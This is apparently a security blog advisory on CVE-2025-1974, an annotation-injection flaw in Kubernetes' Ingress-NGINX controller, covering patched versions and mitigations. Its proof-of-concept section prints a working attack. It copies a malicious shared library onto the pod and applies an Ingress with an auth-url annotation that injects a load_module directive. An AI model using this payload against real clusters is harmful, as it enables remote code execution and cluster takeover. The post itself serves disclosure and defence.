Back to all blog posts

Kubernetes Ingress-NGINX Remote Code Execution (CVE-2025-1974)

By Platform Security Team | April 1, 2025

Overview

A critical vulnerability (CVE-2025-1974) in Kubernetes' Ingress-NGINX Controller allows unauthenticated remote code execution by users with network access to the ingress controller's admission webhook service. Exploitation can lead to full control over the ingress controller pod and potentially cluster compromise.

The flaw resides in how annotations in Ingress objects are parsed and injected into NGINX's configuration—specifically, unsafe string injection that leads to arbitrary NGINX directives being evaluated.

Technical Breakdown

The Ingress-NGINX Controller uses custom annotations (e.g., nginx.ingress.kubernetes.io/auth-url) to configure NGINX behavior dynamically. These annotations are processed and embedded into NGINX configuration files by a Go templating system.

The vulnerability occurs when specially crafted annotations are parsed without proper sanitization, allowing attackers to inject raw NGINX directives.

Deep Dive: Proof of Concept (PoC)

This PoC walks through the exploitation chain using a crafted Ingress resource with a malicious annotation to inject arbitrary NGINX directives.

Goal

Inject the following directive into the live NGINX configuration:

load_module /mnt/malicious.so;

This allows attackers to load a malicious shared object containing arbitrary native code.

Step 1: Upload Malicious Shared Library

In a typical attack scenario, the attacker first needs to upload a .so file to a known location on the ingress pod. This can be done by abusing file upload endpoints from other applications in the cluster or any writable volume mounted to the pod.

Alternatively, if local access is available (i.e., a compromised container), you can copy the payload directly:

kubectl cp malicious.so ingress-nginx-controller-abcde:/mnt/malicious.so

Note: This assumes the pod allows file copy and the target directory exists and is readable by NGINX.

Step 2: Craft the Ingress Object

Now we create an Ingress object with a malicious auth-url annotation. This annotation will be parsed into the NGINX config:

apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: rce-test annotations: nginx.ingress.kubernetes.io/auth-url: '"; load_module /mnt/malicious.so; #' spec: rules: - host: vulnerable.example.com http: paths: - path: / pathType: Prefix backend: service: name: dummy-service port: number: 80

Important: This annotation injects raw NGINX syntax by prematurely closing the string and appending arbitrary configuration.

Step 3: Trigger the Admission Webhook

The validating admission webhook processes the Ingress and generates NGINX configuration using Go templates. Once this Ingress is applied:

kubectl apply -f malicious-ingress.yaml

The configuration is regenerated and, upon reload, NGINX will evaluate the injected directive and execute the malicious .so library.

Real-World Scenarios and Applicability

Cluster with Misconfigured RBAC

Even if an attacker lacks full administrative access, any pod with minimal RBAC permissions to create Ingress resources can abuse this vulnerability. This includes service accounts with create rights on the Ingress API in limited namespaces.

Pod Network Exposure

If admission webhooks are exposed to the cluster network (e.g., running on hostNetwork), any compromised pod can talk directly to the webhook and create malicious Ingress resources. In multi-tenant clusters, this opens up cross-tenant abuse opportunities.

Supply Chain Compromise

A poisoned Helm chart, CI/CD pipeline, or ArgoCD template could introduce malicious annotations without triggering immediate detection. The attacker would only need the .so file to be placed in a writable volume on a controller pod.

Affected Versions

Ingress-NGINX VersionStatus
< 1.11.0Vulnerable
1.11.0 - 1.11.4Vulnerable
1.12.0Vulnerable
>= 1.11.5 / 1.12.1Patched ✅

Check your controller version:

kubectl describe deployment ingress-nginx-controller -n ingress-nginx | grep Image

Mitigation

1. Upgrade to a Patched Version

Immediately upgrade to one of the following:

  • v1.11.5
  • v1.12.1
  • Or the latest release
helm repo update helm upgrade ingress-nginx ingress-nginx/ingress-nginx \ --set controller.image.tag=v1.12.1

2. Disable Admission Webhooks (Temporary Workaround)

If you cannot upgrade immediately:

# Helm-based helm upgrade --reuse-values \ --set controller.admissionWebhooks.enabled=false \ ingress-nginx ingress-nginx/ingress-nginx # Manual kubectl delete ValidatingWebhookConfiguration ingress-nginx-admission

This stops the processing of annotations by the webhook controller but may impact other functionality.

Conclusion

CVE-2025-1974 is a dangerous and easily exploitable vulnerability in Kubernetes' most popular ingress controller. If you operate a Kubernetes cluster using Ingress-NGINX, patching this issue should be treated as critical priority.

Security-conscious teams should also:

  • Audit all Ingress annotations in CI pipelines
  • Restrict who can create or modify Ingress objects
  • Enforce allow-lists on supported annotations via OPA/Gatekeeper